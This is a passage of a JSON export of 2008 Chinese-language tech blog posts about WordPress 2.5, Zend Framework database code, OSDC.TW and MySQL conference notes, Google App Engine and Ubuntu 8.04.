    "body": "剛剛把系統換成 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 2.5 了。就視覺上來說，改變最大的是後台的介面。新後台的介面用起來沒什麼問題，比以前的確乾淨不少，但是最常被使用的文章編輯的部份反而變得相當的糟糕。\r\n\r\n寫新文章時，編輯版面就是固定給寬度是 1024px 的使用者用，超過的部份 (像我會把瀏覽器開到 1280x1024) 仍然是向左邊靠，於是右半部會有一塊留白，如果我開成 1920x1200 就更明顯了。另外，本來可以拖拉的區塊，現在變得無法拖拉...\r\n\r\n另外一個插曲是，我使用的 <a href=\"http://getk2.com/\" rel=\"tag\">K2</a> 在 WordPress 2.5 上會有問題，所以就順便更新了，如果有遇到後台介面進不去的人，把錯誤訊息拿去 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找看看，應該都有人問過了。",
    "title": "換到 WordPress 2.5"
  },
  {
    "id": "1461",
    "body": "這個週末都在研究 <a href=\"http://framework.zend.com/\" rel=\"tag\">Zend Framework</a> 的用法，然後套用到新的系統上。\r\n\r\n<a href=\"http://zh.wikipedia.org/wiki/MVC\" rel=\"tag\">MVC</a> 的三個架構裡，Controller 透過 <code>.htaccess</code> 與 <a href=\"http://framework.zend.com/manual/en/zend.controller.html\" rel=\"tag\">Zend_Controller</a> 配合，效果還算可以。View 目前是用 <a href=\"http://framework.zend.com/manual/en/zend.view.html\" rel=\"tag\">Zend_View</a>，不過會看情況改用 <a href=\"http://goog-ctemplate.sourceforge.net/\" rel=\"tag\">Google cTemplate</a> 或是 <a href=\"http://smarty.php.net/\" rel=\"tag\">Smarty</a>，基本上都沒什麼問題。\r\n\r\n最大的問題在於 Model：<a href=\"http://framework.zend.com/manual/en/zend.db.html\" rel=\"tag\">Zend_Db</a> 的功能看起來很多 (在說明文件的份量裡，算是相當厚的一個模組)，但實際上有不少缺陷沒辦法光靠 Zend_Db 目前內附的模組解決，需要自己寫 Adapter 處理。在沒時間研究 Zend_Db 的 Adapter 怎麼寫的情況下，只能先把他當作非常小的 <a href=\"http://adodb.sourceforge.net/\" rel=\"tag\">ADOdb</a> 使用。\r\n\r\nZend_Db 主要的兩個問題是：Master-Slave 時讀寫必須分開，以及多台時 Failover 及 Load sharing 的處理。雖然這兩個問題都可以用 <a href=\"http://forge.mysql.com/wiki/MySQL_Proxy\" rel=\"tag\">MySQL Proxy</a> 解決，但我不是很喜歡 MySQL Proxy 的解法，所以...\r\n\r\nAnyway，目前該解決的都解決掉了，如果有遇到其他的模組不好用，我再寫文章抱怨好了... XD",
    "title": "Zend Framework 的 Zend_Db"
  },
  {
    "id": "1462",
    "body": "都是小圖，看不清楚的可以點回 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 的頁面看到大圖。\r\n\r\n我不曉得依照這個規則是怎麼算出比<a href=\"http://www.wretch.cc/blog/cwwany\" rel=\"tag\">彎彎</a>還要高分：(原出處：<a href=\"http://look.urs.tw/doc/index1.html\" rel=\"nofollow\">部落格觀察貼紙各式說明</a>)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2374786287/sizes/o/\"><img src=\"http://farm3.static.flickr.com/2129/2374786287_e7e14427a4.jpg\" alt=\"\" /></a>\r\n\r\n下面這張是依照「Page 總分」排序，彎彎在第九名，第七名是 Gene，第八名是 Wildcat，第十三名是 askareiko，剛好是部落格觀察的「GAW」，這個「排行榜」的公信力大家自己心中應該有數。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2375620010/sizes/o/\"><img src=\"http://farm4.static.flickr.com/3018/2375620010_9f8b9575ed.jpg\" alt=\"\" /></a>",
    "title": "部落格觀察"
  },
  {
    "id": "1463",
    "body": "除了幫<a href=\"http://www.wretch.cc/\" rel=\"tag\">無名小站</a>寫以外，也幫自己公司 (<a href=\"http://www.pixnet.net/\" rel=\"tag\">PIXNET</a>) 寫 Album Expander，這樣我自己看圖片才方便 XD\r\n\r\n這隻程式請配合 <a href=\"https://addons.mozilla.org/en-US/firefox/addon/748\" rel=\"tag\">Greasemonkey</a> 服用：<a href=\"http://userscripts.org/scripts/show/24589\" rel=\"tag\">PIXNET Album Expander</a>。\r\n\r\n另外在 trace DOM 的時候有一些感想，照片的部份全部都是 ul + li，再用 CSS 做出來的，當初設計這個 Template 的人不賴啊 XD\r\n\r\n<strong>Update</strong>：修正了兩個問題，第一個是 <a href=\"http://code.google.com/\" rel=\"tag\">Google Code</a> 今天一直噴 502 而讀不到 <a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a>，所以只好用 code.jquery.com。第二個是修正相本 .thumgBox 與 .thumbImg span 裡設定 width/height 時會產生的 bug。",
    "title": "PIXNET Album Expander"
  },
  {
    "id": "1464",
    "body": "<code><a href=\"http://framework.zend.com/manual/en/zend.db.html\" rel=\"tag\">Zend_Db</a>::factory()</code> 可以吃兩種語法，第一種是用兩個參數指定所有的資訊，像這樣：\r\n<blockquote><code>$params = array('host' =&gt; 'localhost', 'username' =&gt; 'my_username', 'password' =&gt; 'my_password', 'dbname' =&gt; 'my_database');</code>\r\n\r\n<code>$db = Zend_Db::factory('pdo_mysql', $params);</code></blockquote>\r\n第二種是吃一個參數，<a href=\"http://framework.zend.com/manual/en/zend.config.html\" rel=\"tag\">Zend_Config</a> (或者繼承他的 class)：\r\n<blockquote><code>$conf = Zend_Config_Ini('filename.ini');\r\n$db = Zend_Db::factory($conf);</code></blockquote>\r\n如果想把資料庫設定放在檔案裡，再用 Zend_Config 讀進來傳給 Zend_Db，目前官方有 <a href=\"http://framework.zend.com/manual/en/zend.config.adapters.ini.html\" rel=\"tag\">Zend_Config_Ini</a> 與 <a href=\"http://framework.zend.com/manual/en/zend.config.adapters.xml.html\" rel=\"tag\">Zend_Config_Xml</a> 兩種方法，不過這兩種方法我都不喜歡，用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找 \"Zend_Config_Yaml\"，沒有什麼人在研究這個 (在<a href=\"http://trac.ishinao.net/webxp/browser/Zend_Config_Yaml/trunk/library/Zend/Config/Yaml.php\" rel=\"tag\">這裡</a>是有看到一份，不過沒看到其他人用的心得)。\r\n\r\n於是退而求其次，用 <a href=\"http://framework.zend.com/manual/en/zend.json.html\" rel=\"tag\">Zend_Json</a> 讀進來後用第一種方式傳進去。",
    "title": "Zend_Db 的參數 (與 Zend_Config、Zend_Json)"
  },
  {
    "id": "1465",
    "body": "照 Manual 所列出來的功能，<a href=\"http://framework.zend.com/manual/en/zend.db.html\" rel=\"tag\">Zend_Db</a> 似乎沒有提供 <a href=\"http://dev.mysql.com/doc/refman/5.1/en/insert-on-duplicate.html\" rel=\"tag\">INSERT ... ON DUPLICATE KEY UPDATE</a> 的功能，所以就得自己做了。\r\n\r\n正常的作法是自己寫 SQL query 處理，但我想到的方法就是先 <code>-&gt;insert()</code>，如果失敗再 <code>-&gt;update()</code>。拆開來的這兩個動作會使得 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 多花不少 CPU resource，但我暫時不想自己寫 SQL Query (主要是因為嫌 escape 麻煩)，先放個 XXX 等以後再 tune。\r\n\r\n問題在 <code>-&gt;insert()</code> 後如果遇到 Duplicate 會丟出 Exception，用 <code>try</code>-<code>catch</code> 的方法我不是很喜歡，但稍微翻過 Zend_Db 的 code，似乎沒辦法改成 return status，所以就只好用 <code>try</code>-<code>catch</code> 處理。這應該是跟底層的 <a href=\"http://pecl.php.net/package/PDO_MYSQL\" rel=\"tag\">PDO_MYSQL</a> 有關，Zend_Db 只是在中間的介面。\r\n\r\n如果還有遇到其他問題就繼續寫...",
    "title": "Zend_Db 的例外處理"
  },
  {
    "id": "1466",
    "body": "剛剛幫別人升級時注意到的，<code>wp-config.php</code> 裡有一段註解是要你設定 SECRET_KEY，看起來是為了當作 private secret 用：\r\n<blockquote><pre>// Change SECRET_KEY to a unique phrase.  You won't have to remember it later,\r\n// so make it long and complicated.  You can visit https://www.grc.com/passwords.htm\r\n// to get a phrase generated for you, or just make something up.</pre></blockquote>\r\n設完後會需要重新登入 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a>。",
    "title": "升級到 WordPress 2.5 的注意事項"
  },
  {
    "id": "1467",
    "body": "在 <a href=\"http://mclee.foolme.net/\" rel=\"tag\">mclee</a> 那邊看到<a href=\"http://www.cptw.com.tw/\" rel=\"tag\">台灣商務印書館</a>打算印全套的《<a href=\"http://zh.wikipedia.org/wiki/%E5%9B%9B%E5%BA%93%E5%85%A8%E4%B9%A6\" rel=\"tag\">四庫全書</a>》：「<a href=\"http://mclee.foolme.net/2008/04/blog-post.html\" rel=\"tag\">商務印書館要印行文淵閣四庫全書了</a>」。\r\n\r\n整套一千五百本，預約價是 158 萬元。如果只要其中幾本，單冊的預約價是 $1200。除了新台幣外，也接受美金下訂。不過前提是要達到 20 套才會開始印...",
    "title": "重印四庫全書"
  },
  {
    "id": "1468",
    "body": "如果使用 <a href=\"http://framework.zend.com/manual/en/zend.json.html\" rel=\"tag\">Zend_Json</a> 放設定檔，這「可能」是一個比較好的解法：\r\n<blockquote><pre>public function __construct()\r\n{\r\n    $j = file_get_contents(dirname(__FILE__) . '/db.json');\r\n    $conf = Zend_Json::decode($j);\r\n    $conf = new Zend_Config($conf['Db']);\r\n    $this-&gt;rDb = Zend_Db::factory($conf-&gt;rDb);\r\n    $this-&gt;wDb = Zend_Db::factory($conf-&gt;wDb);\r\n}</pre></blockquote>\r\n參考：<a href=\"http://blog.gslin.org/archives/2008/04/01/1464/\" rel=\"tag\">Zend_Db 的參數 (與 Zend_Config、Zend_Json)</a>。",
    "title": "Zend_Json + Zend_Config + Zend_Db"
  },
  {
    "id": "1469",
    "body": "在 <a href=\"http://torrentfreak.com/imageshack-bitorrent-080405/\" rel=\"tag\">ImageShack Starts Free BitTorrent Download Service</a> 這篇看到 <a href=\"http://imageshack.us/\" rel=\"tag\">ImageShack</a> 開始提供 <a href=\"http://www.bittorrent.org/\" rel=\"tag\">BitTorrent</a> 下載服務了。\r\n\r\n看了一下介面，把 torrent 檔傳上去後就會開始抓，另外一個比較特別的功能是選擇下載的檔案 (在 Windows 上的 BitTorrent 軟體還蠻常見的功能)。開 <a href=\"http://www.utorrent.com/\" rel=\"tag\">µTorrent</a> 同時抓可以看出用的是 <a href=\"http://www.transmissionbt.com/\" rel=\"tag\">Transmission</a> 1.10。目前服務在 beta，有兩個 15GB 的限制，一個是空間，一個是每個月的 HTTP 下載流量，在正式上線後可能會有修改。\r\n\r\n丟了一個 torrent 上去測，下載到 ImageShack 的速度好像還蠻快的，不過我沒測完 :p",
    "title": "ImageShack 的 BitTorrent 下載服務"
  },
  {
    "id": "1470",
    "body": "幾天前就一直有消息，<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 打算要把 <a href=\"http://en.wikipedia.org/wiki/BigTable\" rel=\"tag\">BigTable</a> 的服務拿出來給大家用。結果拿出來的餅比預期的更大，直接幫你 Hosting 整個服務：<a href=\"http://code.google.com/appengine/\" rel=\"tag\">Google App Engine</a>。\r\n\r\nGoogle App Engine 目前以 <a href=\"http://www.python.org/\" rel=\"tag\">Python</a> 為語言 (更仔細的說，是以 <a href=\"http://www.djangoproject.com/\" rel=\"tag\">Django</a> 為參考的標準，所以有用過 Django 的人會蠻熟悉的)，後端則是以 <a href=\"http://en.wikipedia.org/wiki/Google_File_System\" rel=\"tag\">GFS</a> 與 BigTable 支撐整個系統。Hosting 的服務以 appspot.com 這個獨立域名避免 Cookie 與 XSS 安全性的問題，看起來是呼應 blogspot.com。\r\n\r\n昨天一睡醒看到有一萬個人的註冊限制，就先丟進去註冊，出門到公司就發現已經申請到了。\r\n\r\n另外，這個系統有一些限制：500MB storage、200M CPU cycle/day、10GB bandwidth/day，這個量對於自己玩看起來是沒什麼問題，等到收費後要看看價錢到底如何。\r\n\r\n在開始玩之前，看看 <a href=\"http://code.google.com/appengine/docs/datastore/\" rel=\"tag\">The Datastore API</a> 可以知道 BigTable 可以做到的事情，其實還蠻有趣的，像是不支援「!=」... XD\r\n\r\n<strong>Update</strong>：在「<a href=\"http://www.techcrunch.com/2008/04/08/techcrunch-labs-our-experience-building-and-launching-app-on-google-app-engine/\" rel=\"tag\">TechCrunch Labs: Our Experience Building And Launching An App On Google App Engine</a>」這篇裡面有後台的畫面，可以看到相當多資訊！\r\n\r\n參考：<a href=\"http://blog.ericsk.org/archives/884\" rel=\"tag\">Google App Engine</a>。",
    "title": "Google App Engine"
  },
  {
    "id": "1471",
    "body": "<a href=\"http://osdc.tw/\" rel=\"tag\">OSDC.TW</a> 2008 第一天我是中午才到的。在技術方面，大多數的題目都已經在網路上看過資料研究過，沒有什麼特別的感想，不過可以感覺到有些講者可能因為經驗與時間的關係，有些重要的地方都沒講清楚。\r\n\r\n先是我們自己家介紹的 Berkeley DB，<a href=\"http://jnlin.org/\" rel=\"tag\">jnlin</a> 沒有提到為何要避免使用 LEFT JOIN 的原因，然後在測試的部份數據也少說明了很多東西。\r\n\r\n另外 Vivek Ratan 講 <a href=\"http://hadoop.apache.org/\" rel=\"tag\">Hadoop</a> 的部份，有些地方沒有講清楚，像是要怎麼因應 Namenode 故障時的處理 (在「<a href=\"http://hadoop.apache.org/core/docs/r0.16.2/hdfs_design.html#Metadata+Disk+Failure\" rel=\"tag\">Metadata Disk Failure</a>」這邊的說明可以參考)。另外我回來查了以後發現跑 Hadoop 後，所需要的時間變成原來的 66%，而不是效率變成原來的 66%，所以我在台下問了一個笨問題...\r\n\r\n第一天結束後倒是到樓下的咖啡廳聊了很久，儘講些有的沒的...",
    "title": "OSDC.TW 2008 第一天"
  },
  {
    "id": "1472",
    "body": "第二天的一大早就到會場了，分成兩個場地同時進行議程。\r\n\r\n第一場我去聽 Gene 所講的「Open Source, Open Standard, Open Service (OS^3)」，其實我對於 {Gene,askareiko,wildcat} 三人組 (也就是部落格觀察上方的 {G,A,W}) 很不滿，原因請參考我在兩個禮拜前寫的「<a href=\"http://blog.gslin.org/archives/2008/03/31/1462/\" rel=\"tag\">部落格觀察</a>」這篇文章，以及下方 <a href=\"http://blog.gslin.org/archives/2008/03/31/1462/#comment-263764\" rel=\"tag\">Gene 所回的 comment</a>。\r\n\r\n不過我聽完後就發現沒有必要講什麼了，花時間跟他解釋只會浪費體力與時間，聽到要開始 Q&amp;A 就閃人了。\r\n\r\n接下來是 <a href=\"http://www.clkao.org/\" rel=\"tag\">clkao</a> 講 <a href=\"http://svk.bestpractical.com/\" rel=\"tag\">SVK</a>，主要是 SVK 2.2 的新功能，不過還沒測試過，等正式版釋出後再看看 branch 的行為。\r\n\r\n再來是<a href=\"http://www.rubycolor.org/takahashi/\" rel=\"tag\">高橋メソッド</a>講 <a href=\"http://www.ruby-lang.org/\" rel=\"tag\">Ruby</a> 1.9 的過去與現在，其中 Benchmarking 的部份蠻奇怪的，會場上測試的數據顯示 Ruby 1.8 花了很多時間在 \"sys\" 上，而 1.9 改善了這個部份，所以速度快了許多，但這是在純粹只有數學運算的 function 跑出來的結果？這個問題到後來還是沒有答案，先放著再說。\r\n\r\n另外高橋先生沒有提到關於 Ruby 1.9 對 GC 的處理是蠻可惜的，這個反而才是重點...\r\n\r\n接下來是 <a href=\"http://blog.linux.org.tw/jserv/\" rel=\"tag\">Jserv</a> 講的「許我們一個 Keroro 的桌面」與 clkao 講的「Prophet: A Distributed Syncable Database」，這兩個 talk 都很歡樂 :p\r\n\r\n中午休息時間，大家各自去吃東西，還是有些人留在會場聊天...",
    "title": "OSDC.TW 2008 第二天 (早上)"
  },
  {
    "id": "1473",
    "body": "昨天 <a href=\"http://slzzp.blogspot.com/\" rel=\"tag\">slzzp</a> 講到的 <a href=\"http://en.wikipedia.org/wiki/MD5\" rel=\"tag\">MD5</a> Collision 就是 <a href=\"http://en.wikipedia.org/wiki/Birthday_attack\" rel=\"tag\">Birthday Attack</a>，下方就有條文表格列出常見的數據，MD5 是 128bits 那一排...\r\n\r\n去公司再跟他要看看那兩個檔案... XD",
    "title": "MD5 Collision"
  },
  {
    "id": "1474",
    "body": "在開始寫 code 之前來寫遊記...\r\n\r\n第二天下午一開始先是在 <a href=\"http://heaven.branda.to/~thinker/GinGin_CGI.py\" rel=\"tag\">Thinker</a> 的「言簡意賅 -- Python and Meta-programming」，聽 <a href=\"http://www.python.org/\" rel=\"tag\">Python</a> 的 meta-programming，整個過程相當悶，加上不少人吃完午餐就很容易想睡覺。不過我還是儘量斷斷續續聽了一些東西...\r\n\r\n接下來的一場因為我對 <a href=\"http://www.ruby-lang.org/\" rel=\"tag\">Ruby</a> 與 <a href=\"http://www.java.com/\" rel=\"tag\">Java</a> 都沒有特別有興趣，所以我到 <a href=\"http://wiki.debian.org.tw/index.php/User:ycheng\" rel=\"tag\">ycheng</a> 那場的後面聽，結果也是聽不太下去，就早早跑出來了... (跟 Thinker 一樣，語調都很平，再加上互動不多，所以...)\r\n\r\n接下來是 <a href=\"http://www.clkao.org/\" rel=\"tag\">clkao</a> 以<a href=\"http://aiink.com/\" rel=\"tag\">愛印網</a>為例子所講的「Running Perlish Small Business with Perl」，現場活絡許多... (用「愛印網」當關鍵字去 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找，怎麼好像怪怪的... XD)\r\n\r\n接下來是 Lightning Talk，<a href=\"http://blog.djh5e.org/\" rel=\"tag\">horance</a> 的 session 居然是這兩天拍手拍最熱烈的... 這些就有機會再提好了 :p",
    "title": "OSDC.TW 2008 第二天 (下午一般議程)"
  },
  {
    "id": "1475",
    "body": "login.aol.tw 沒有去買正式的 SSL Certificate 而是自己弄？這是認真的嗎...\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2413047895/\" rel=\"tag\"><img src=\"http://farm3.static.flickr.com/2139/2413047895_f7e59b7bdc.jpg\" alt=\"\" /></a>",
    "title": "login.aol.tw 的安全加密問題？"
  },
  {
    "id": "1476",
    "body": "<a href=\"http://osdc.tw/\" rel=\"tag\">OSDC.TW</a> 2008 的無線網路的確是歷年來參加過這麼多次 Conference 中最好的一次，看了 <a href=\"http://people.debian.org.tw/~chihchun/\" rel=\"tag\">chihchun</a> 寫的文章才知道後面下了這麼多功夫！太感謝了！\r\n\r\n參考：<a href=\"http://people.debian.org.tw/~chihchun/2008/04/15/fonera-works-at-osd/\" rel=\"tag\">網路聚會之黃金三點</a>。",
    "title": "OSDC.TW 2008 的無線網路"
  },
  {
    "id": "1477",
    "body": "<a href=\"http://en.oreilly.com/mysql2008/public/content/home\" rel=\"tag\">The 2008 MySQL Conference &amp; Expo</a> 幾個比較大的消息：\r\n<ul>\r\n\t<li><a href=\"http://www.innodb.com/\" rel=\"tag\">Innobase</a> (<a href=\"http://www.oracle.com/\" rel=\"tag\">Oracle</a>) 釋出 <a href=\"http://www.innodb.com/innodb_plugin/\" rel=\"tag\">InnoDB Plugin</a> 1.0 (for <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 5.1)，可以取代內建的 InnoDB engine，比起之前的版本多了兩個大重點：Fast Index 與 Compression。</li>\r\n\t<li><a href=\"http://www.kickfire.com/\" rel=\"tag\">Kickfire</a> 是一個結合硬體，在尚未使用到 SSD 硬碟的情況下就成為全世界最快的 transaction engine 之一 (依據 <a href=\"http://www.tpc.org/tpch/results/tpch_perf_results.asp?resulttype=noncluster&version=2%&currencyID=0\" rel=\"tag\">Non-Clustered TPC-H</a> 測試結果)。</li>\r\n</ul>\r\n其他比較小的消息還包括了 MySQL 6.0、MySQL 5.1 Maria 之類的新聞，不過上面這兩個消息丟出來就讓人感覺很兇暴，其他的新聞就... (Kickfire 的 C/P 表現相當漂亮，在 100GB 的地方徹底殲滅 <a href=\"http://www.hp.com/\" rel=\"tag\">HP</a> 與 <a href=\"http://www.dell.com/\" rel=\"tag\">Dell</a>)",
    "title": "The 2008 MySQL Conference &amp; Expo"
  },
  {
    "id": "1478",
    "body": "很多時候你不一定需要去會場：只要你願意看，很多很寶貴的資訊在網路上都會有人寫。\r\n\r\n像這篇「<a href=\"http://beerpla.net/2008/04/15/mysql-conference-liveblogging-disaster-is-inevitable-are-you-prepared-tuesday-425pm/\" rel=\"tag\">MySQL Conference Liveblogging: Disaster Is Inevitable - Are You Prepared?</a>」講 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 資料庫損毀的防範以及事後處理就很棒。雖然只有很簡單的 transcript，但其實精華都已經在裡面了。",
    "title": "MySQL 的災難預防及補救"
  },
  {
    "id": "1479",
    "body": "這場應該是很熱鬧的一場，一堆數字可以看：\r\n<ul>\r\n\t<li><a href=\"http://blog.arabx.com.au/?p=1053\" rel=\"tag\">Scaling Wisdom</a></li>\r\n\t<li><a href=\"http://beerpla.net/2008/04/16/mysql-conference-liveblogging-portable-scale-out-benchmarks-for-mysql-wednesday-1050am/\" rel=\"tag\">MySQL Conference Liveblogging: Portable Scale-out Benchmarks For MySQL</a></li>\r\n\t<li><a href=\"http://venublog.com/2008/04/16/notes-from-scaling-mysql-up-or-out/\" rel=\"tag\">Notes from Scaling MySQL - Up or Out</a></li>\r\n\t<li><a href=\"http://www.paragon-cs.com/wordpress/?p=144\" rel=\"tag\">Scaling MySQL - - Up or Out? Panel @ UC</a></li>\r\n\t<li><a href=\"http://beerpla.net/2008/04/16/mysql-sun-flickr-fotolog-wikipedia-facebook-youtube-comparison-mysql-conference-day-2-keynote/\" rel=\"tag\">MySQL - Sun - Flickr - Fotolog - Wikipedia - Facebook - YouTube Comparison - MySQL Conference Day 2 Keynote</a></li>\r\n</ul>",
    "title": "MySQL Conference - Scale Out"
  },
  {
    "id": "1480",
    "body": "看了 transcript 還蠻有趣的...\r\n<ul>\r\n\t<li><a href=\"http://www.paragon-cs.com/wordpress/?p=147\" rel=\"tag\">Jim Starkey and Ann Harrison — Falcon From the Beginning @ UC</a></li>\r\n\t<li><a href=\"http://venublog.com/2008/04/16/notes-from-falcon-from-the-beginning/\" rel=\"tag\">Notes from Falcon from the beginning</a></li>\r\n</ul>",
    "title": "MySQL Conference - Falcon"
  },
  {
    "id": "1481",
    "body": "<ul>\r\n\t<li><a href=\"http://beerpla.net/2008/04/16/mysql-conference-liveblogging-benchmarking-tools-wednesday-425pm/\" rel=\"tag\">MySQL Conference Liveblogging: Benchmarking Tools</a></li>\r\n\t<li><a href=\"http://venublog.com/2008/04/16/notes-on-benchmarking-tools/\" rel=\"tag\">Notes on Benchmarking tools</a></li>\r\n\t<li><a href=\"http://beerpla.net/2008/04/16/mysql-conference-liveblogging-monitoring-tools-wednesday-515pm/\" rel=\"tag\">MySQL Conference Liveblogging: Monitoring Tools</a></li>\r\n</ul>\r\n",
    "title": "MySQL Conference - 監視工具"
  },
  {
    "id": "1482",
    "body": "好幾天沒寫 Blog 了，主要是星期五六日去員工旅遊 (參考「<a href=\"http://www.flickr.com/photos/gslin/sets/72157604640044256/\" rel=\"tag\">員工旅遊 (2008/04/18~20) </a>」這邊)，然後星期日晚上與星期一狂看 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 與新番，於是就好幾天沒寫 Blog 了...\r\n\r\n說變天的原因是因為很多單位在 <a href=\"http://en.oreilly.com/mysql2008\" rel=\"tag\">MySQL Conference &amp; Expo 2008</a> 這段時間發表了一堆東西，就管理與政策面來看，這是 <a href=\"http://www.sun.com/\" rel=\"tag\">Sun</a> 買下 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL AB</a> 後第一次的 MySQL Conference，很多人都在看 Sun 對於 MySQL 這套 Open Source Software 到底會有什麼大計畫。\r\n\r\n另外一方面 (技術上)，<a href=\"http://www.oracle.com/\" rel=\"tag\">Oracle</a> 推出的 <a href=\"http://www.innodb.com/innodb_plugin/\" rel=\"tag\">InnoDB Plugin</a> 所列出的優點讓人相當驚豔，解決了不少問題，不過可惜在目前最新版 5.1.24-rc 上無法運作。\r\n\r\n再來是 <a href=\"http://www.kickfire.com/\" rel=\"tag\">Kickfire</a> 用硬體的方式大幅增加 transaction 的速度，站上 Non-cluster 100GB data 的王座，實際上機器也很便宜，才 USD$35K。(如果你真的需要用到這麼快的 transaction 速度，百萬台幣應該不是什麼問題)\r\n\r\n結果玩回來後發現一堆計畫都要再重新思考...",
    "title": "變天了..."
  },
  {
    "id": "1484",
    "body": "收到 Amazon 的信通知，從 2008/5/1 開始，從 <a href=\"http://www.amazon.com/\" rel=\"tag\">Amazon</a> 流出的頻寬的費用再降價：\r\n<ul>\r\n\t<li>最先的 10TB 部份：原先是 USD$0.18/GB，降為 USD$0.17/GB</li>\r\n\t<li>接下來的 40TB 部份：原先是 USD$0.16/GB，降為 USD$0.13/GB</li>\r\n\t<li>超過 50TB 的部份：原先是 USD$0.13/GB，新的費率多了一個 range，50TB ~ 150TB 是 USD$0.11/GB，超過 150TB 是 $0.1/GB</li>\r\n</ul>\r\n比起一般的 hosting (自己架然後自己管理 server) 大約是三倍的價錢，把其他因素考慮進去，其實相當划算？",
    "title": "Amazon 頻寬再降價"
  },
  {
    "id": "1485",
    "body": "InnoDB Barracuda (InnoDB Plugin 提供的新格式) 有測試結果了，在「<a href=\"http://www.mysqlperformanceblog.com/2008/04/23/testing-innodb-barracuda-format-with-compression/\" rel=\"tag\">Testing InnoDB \"Barracuda\" format with compression</a>」這篇裡面以一個 30GB 的 mysqldump 檔案測試 (看他文章的內容，應該是 real data)，在裡面提到幾個重點：\r\n<ul>\r\n\t<li>目前的 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 有個與 UTF-8 有關的 bug 會影響測試結果 (「<a href=\"http://bugs.mysql.com/bug.php?id=33650\" rel=\"tag\">mysql_alter_table() unnecessarily does full table copy</a>」)，所以測試時以 latin1 測試。</li>\r\n\t<li>為了測試 fast index，他用兩種不同的方式測試。第一種是把所有 DB scheme 與 index 都建立好，再將資料匯入；第二種是只先建立 primary key，等到匯入資料後再下 index。測試的結果發現，後者的總時間遠遠超越前者。</li>\r\n\t<li>如果使用壓縮格式，匯入的速度會慢 30% ~ 50%，但是檔案大小只有原來的 1/3，讀取的速度不在這次測試的範圍裡，不過 comment 有人期待對於偏 I/O 的 query 效能會有提昇。</li>\r\n</ul>",
    "title": "InnoDB Barracuda"
  },
  {
    "id": "1486",
    "body": "在 <a href=\"http://forge.mysql.com/wiki/MySQL_Proxy\" rel=\"tag\">MySQL Proxy</a> 作者的 Blog 上看到一些關於 transaction 時有趣的用法：\r\n<ul>\r\n\t<li>用 MySQL Proxy 模擬 COMMIT 時失敗是否有正常處理：<a href=\"http://jan.kneschke.de/2008/4/23/mysql-proxy-commit-obfuscator\" rel=\"tag\">MySQL Proxy: COMMIT obfuscator</a>。</li>\r\n\t<li>因為 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 本身紀錄 COMMIT 失敗原因的 log 很少，所以利用 MySQL Proxy 紀錄與 transaction 有關的 SQL query，可以在事後觀察：<a href=\"http://jan.kneschke.de/2008/4/23/mysql-proxy-rollbacked-transactions\" rel=\"tag\">MySQL Proxy: rollbacked transactions</a>。</li>\r\n</ul>\r\n話說回來，最近 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 又有一陣子沒什麼動作了，看起來心力都花在 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> 上面了...",
    "title": "MySQL Proxy 的用途"
  },
  {
    "id": "1487",
    "body": "本來是在 R60 上裝 <a href=\"http://www.ubuntu.com/\" rel=\"tag\">Ubuntu</a> 7.10，結果裝完後發現 8.04 已經到 RC stage 了，乾脆重裝成 8.04，等到正式 release 的時候升級到最新版。\r\n\r\n裝完後什麼都不需要調整，就可以很順暢的使用 TouchPad、無線網路，而且 Function Key 也都正常運作。另外該有的軟體也都有了，像是 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> (居然是 3.0b5) 與 <a href=\"http://www.openoffice.org/\" rel=\"tag\">OpenOffice</a>。\r\n\r\n輸入法先換成 <a href=\"http://cle.linux.org.tw/trac\" rel=\"tag\">gcin</a>，字型的部份把 FireflyTTF 以及<a href=\"http://wqy.sourceforge.net/\" rel=\"tag\">文泉驛正黑</a> 裝上後就差不多了。小紅點的 Scroll 功能的部份則是加了兩三行到 <code>/etc/X11/xorg.conf</code> 內。\r\n\r\n把 <a href=\"http://subversion.tigris.org/\">Subversion</a>、<a href=\"http://svk.bestpractical.com/\">SVK</a>、<a href=\"http://git.or.cz/\">Git</a> 都裝好後，即使想在沒有網路的地方開發軟體仍然很方便。\r\n\r\n應該會跑一陣子看看有什麼不足的，桌機先維持 Windows XP... XD\r\n\r\n<strong>Update</strong>：相關的設定可以參考 <a href=\"http://racklin.blogspot.com/\" rel=\"tag\">racklin</a> 寫的「<a href=\"http://racklin.blogspot.com/2008/04/ubuntu-804-thinkpad-t61.html\" rel=\"tag\">安裝 Ubuntu 8.04 於 Thinkpad T61 雜記</a>」",
    "title": "Ubuntu 8.04"
  },
  {
    "id": "1488",
